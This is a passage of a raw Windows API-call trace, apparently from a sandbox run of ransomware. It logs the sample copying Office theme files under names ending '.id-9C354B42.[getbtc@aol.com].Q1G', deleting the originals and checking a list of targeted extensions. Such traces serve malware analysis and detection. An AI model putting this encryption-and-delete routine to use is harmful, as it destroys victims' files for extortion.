"c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0244.459] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.459] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0244.461] GetLastError () returned 0x0 [0244.461] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x48cf, lpOverlapped=0x0) returned 1 [0244.463] WriteFile (in: hFile=0x398, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x48d0, lpOverlapped=0x0) returned 1 [0244.464] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0244.464] WriteFile (in: hFile=0x398, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0244.464] SetEndOfFile (hFile=0x398) returned 1 [0244.464] CloseHandle (hObject=0x398) returned 1 [0244.464] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.464] SetEndOfFile (hFile=0x3a8) returned 1 [0244.466] CloseHandle (hObject=0x3a8) returned 1 [0244.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx")) returned 1 [0244.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0244.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0244.467] lstrlenW (lpString=".doc") returned 4 [0244.467] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.467] lstrlenW (lpString=".docx") returned 5 [0244.467] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.467] lstrlenW (lpString=".pdf") returned 4 [0244.467] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.467] lstrlenW (lpString=".xls") returned 4 [0244.467] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.467] lstrlenW (lpString=".xlsx") returned 5 [0244.467] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.467] lstrlenW (lpString=".ppt") returned 4 [0244.467] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0244.467] lstrlenW (lpString=".zip") returned 4 [0244.468] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.468] lstrlenW (lpString=".rar") returned 4 [0244.468] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.468] lstrlenW (lpString=".bz2") returned 4 [0244.468] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.468] lstrlenW (lpString=".7z") returned 3 [0244.468] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0244.468] lstrlenW (lpString=".dbf") returned 4 [0244.468] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0244.468] lstrlenW (lpString=".1cd") returned 4 [0244.468] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0244.468] lstrlenW (lpString=".jpg") returned 4 [0244.468] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0244.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0244.468] lstrlenW (lpString=".doc") returned 4 [0244.468] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.468] lstrlenW (lpString=".docx") returned 5 [0244.468] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.468] lstrlenW (lpString=".pdf") returned 4 [0244.468] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.468] lstrlenW (lpString=".xls") returned 4 [0244.468] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.468] lstrlenW (lpString=".xlsx") returned 5 [0244.468] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.468] lstrlenW (lpString=".ppt") returned 4 [0244.468] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0244.468] lstrlenW (lpString=".zip") returned 4 [0244.468] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.468] lstrlenW (lpString=".rar") returned 4 [0244.468] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.468] lstrlenW (lpString=".bz2") returned 4 [0244.469] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.469] lstrlenW (lpString=".7z") returned 3 [0244.469] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0244.469] lstrlenW (lpString=".dbf") returned 4 [0244.469] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0244.469] lstrlenW (lpString=".1cd") returned 4 [0244.469] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0244.469] lstrlenW (lpString=".jpg") returned 4 [0244.469] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.469] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0244.469] lstrlenW (lpString="Median.eftx") returned 11 [0244.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0244.545] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=39546) returned 1 [0244.545] CloseHandle (hObject=0x200) returned 1 [0244.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx")) returned 0x20 [0244.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0244.561] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.561] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0244.640] GetLastError () returned 0x0 [0244.640] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x9a7a, lpOverlapped=0x0) returned 1 [0244.650] WriteFile (in: hFile=0x200, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x9a80, lpOverlapped=0x0) returned 1 [0244.651] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0244.651] WriteFile (in: hFile=0x200, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xea, lpOverlapped=0x0) returned 1 [0244.652] SetEndOfFile (hFile=0x200) returned 1 [0244.652] CloseHandle (hObject=0x200) returned 1 [0244.652] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.652] SetEndOfFile (hFile=0x3a8) returned 1 [0244.655] CloseHandle (hObject=0x3a8) returned 1 [0244.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx")) returned 1 [0244.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0244.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0244.656] lstrlenW (lpString=".doc") returned 4 [0244.656] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.656] lstrlenW (lpString=".docx") returned 5 [0244.656] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.656] lstrlenW (lpString=".pdf") returned 4 [0244.656] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.656] lstrlenW (lpString=".xls") returned 4 [0244.656] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.656] lstrlenW (lpString=".xlsx") returned 5 [0244.656] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.656] lstrlenW (lpString=".ppt") returned 4 [0244.656] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0244.657] lstrlenW (lpString=".zip") returned 4 [0244.657] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.657] lstrlenW (lpString=".rar") returned 4 [0244.657] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.657] lstrlenW (lpString=".bz2") returned 4 [0244.657] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.657] lstrlenW (lpString=".7z") returned 3 [0244.657] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0244.657] lstrlenW (lpString=".dbf") returned 4 [0244.657] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0244.657] lstrlenW (lpString=".1cd") returned 4 [0244.657] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0244.657] lstrlenW (lpString=".jpg") returned 4 [0244.657] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0244.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0244.657] lstrlenW (lpString=".doc") returned 4 [0244.657] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.657] lstrlenW (lpString=".docx") returned 5 [0244.657] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.657] lstrlenW (lpString=".pdf") returned 4 [0244.657] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.657] lstrlenW (lpString=".xls") returned 4 [0244.657] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.657] lstrlenW (lpString=".xlsx") returned 5 [0244.657] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.657] lstrlenW (lpString=".ppt") returned 4 [0244.657] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0244.657] lstrlenW (lpString=".zip") returned 4 [0244.657] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.658] lstrlenW (lpString=".rar") returned 4 [0244.658] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.658] lstrlenW (lpString=".bz2") returned 4 [0244.658] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.658] lstrlenW (lpString=".7z") returned 3 [0244.658] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0244.658] lstrlenW (lpString=".dbf") returned 4 [0244.658] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0244.658] lstrlenW (lpString=".1cd") returned 4 [0244.658] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0244.658] lstrlenW (lpString=".jpg") returned 4 [0244.658] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.737] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0244.737] lstrlenW (lpString="Oriel.eftx") returned 10 [0244.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0244.741] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=43193) returned 1 [0244.741] CloseHandle (hObject=0x398) returned 1 [0244.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx")) returned 0x20 [0244.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0244.841] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.841] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0244.847] GetLastError () returned 0x0 [0244.847] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xa8b9, lpOverlapped=0x0) returned 1 [0244.851] WriteFile (in: hFile=0x338, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xa8c0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xa8c0, lpOverlapped=0x0) returned 1 [0244.853] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0244.853] WriteFile (in: hFile=0x338, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0244.853] SetEndOfFile (hFile=0x338) returned 1 [0244.853] CloseHandle (hObject=0x338) returned 1 [0244.854] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.854] SetEndOfFile (hFile=0x3b4) returned 1 [0244.856] CloseHandle (hObject=0x3b4) returned 1 [0244.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx")) returned 1 [0244.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0244.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0244.857] lstrlenW (lpString=".doc") returned 4 [0244.857] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.857] lstrlenW (lpString=".docx") returned 5 [0244.857] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.857] lstrlenW (lpString=".pdf") returned 4 [0244.857] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.857] lstrlenW (lpString=".xls") returned 4 [0244.857] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.857] lstrlenW (lpString=".xlsx") returned 5 [0244.857] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.857] lstrlenW (lpString=".ppt") returned 4 [0244.857] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0244.857] lstrlenW (lpString=".zip") returned 4 [0244.857] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.858] lstrlenW (lpString=".rar") returned 4 [0244.858] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.858] lstrlenW (lpString=".bz2") returned 4 [0244.858] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.858] lstrlenW (lpString=".7z") returned 3 [0244.858] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0244.858] lstrlenW (lpString=".dbf") returned 4 [0244.858] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0244.858] lstrlenW (lpString=".1cd") returned 4 [0244.858] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0244.858] lstrlenW (lpString=".jpg") returned 4 [0244.858] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0244.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0244.858] lstrlenW (lpString=".doc") returned 4 [0244.858] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.858] lstrlenW (lpString=".docx") returned 5 [0244.858] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.858] lstrlenW (lpString=".pdf") returned 4 [0244.858] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.858] lstrlenW (lpString=".xls") returned 4 [0244.858] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.858] lstrlenW (lpString=".xlsx") returned 5 [0244.858] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.858] lstrlenW (lpString=".ppt") returned 4 [0244.858] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0244.858] lstrlenW (lpString=".zip") returned 4 [0244.858] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.858] lstrlenW (lpString=".rar") returned 4 [0244.859] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.859] lstrlenW (lpString=".bz2") returned 4 [0244.859] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.859] lstrlenW (lpString=".7z") returned 3 [0244.859] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0244.859] lstrlenW (lpString=".dbf") returned 4 [0244.859] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0244.859] lstrlenW (lpString=".1cd") returned 4 [0244.859] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0244.859] lstrlenW (lpString=".jpg") returned 4 [0244.859] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.859] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0244.859] lstrlenW (lpString="Pushpin.eftx") returned 12 [0244.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0244.860] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=782121) returned 1 [0244.860] CloseHandle (hObject=0x3b4) returned 1 [0244.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx")) returned 0x20 [0244.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0244.861] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.861] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 